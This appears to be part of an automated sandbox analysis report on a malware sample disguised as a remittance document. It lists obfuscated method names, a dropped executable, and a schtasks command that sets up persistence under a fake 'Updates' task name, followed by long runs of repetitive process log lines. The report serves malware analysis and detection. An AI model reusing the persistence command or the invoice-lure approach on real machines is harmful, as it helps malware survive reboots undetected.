Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, pMOI3TbUm5GfpCblLE.cs	High entropy of concatenated method names: 'UTaqj2Qyyp', 'KTdqAof3FA', 'QFkqIB82kL', 'YNBqgBRr1B', 'msfqUsaZ9U', 'E2TqHBmqf6', 'yN5qtomi9P', 'LthqM1gUVj', 'XgFqmRQcUZ', 'UI3qO4b0pa'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, BuFQNqzrftoHXmvp1l.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'FY9dP6xUWx', 'q2lduNCB3A', 'c09dio65Y2', 'iCZdv2elEk', 'z41dNBnGtY', 'hliddvVAE4', 'EX9dZH4d0C'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, ddBdgUR2ehymCeoWPR.cs	High entropy of concatenated method names: 'XBUNCMNrRb', 'Ln6NhJWYww', 'psTNLljciF', 'OMRNeU2qRZ', 'GNNNSwSTP8', 'O0oNfXq901', 'Next', 'Next', 'Next', 'NextBytes'

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

File created: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
